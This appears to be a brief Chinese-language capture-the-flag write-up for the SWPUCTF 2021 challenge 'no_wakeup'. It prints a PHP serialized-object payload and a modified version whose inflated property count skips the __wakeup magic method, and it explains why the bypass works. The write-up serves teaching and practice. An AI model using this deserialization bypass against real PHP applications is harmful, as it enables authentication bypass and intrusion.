反序列化 [SWPUCTF 2021 新生赛]no_wakeup

打开题目

知道是反序列化,我们直接写给payload出来,然后get传参

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

题目很简单,只需要使得admin=admin并且passwd=wllm,则可获取到flag,但是其中多了一个__wakeup的魔术方法

我们修改一下即可绕过

O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

知识点:

​ __wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行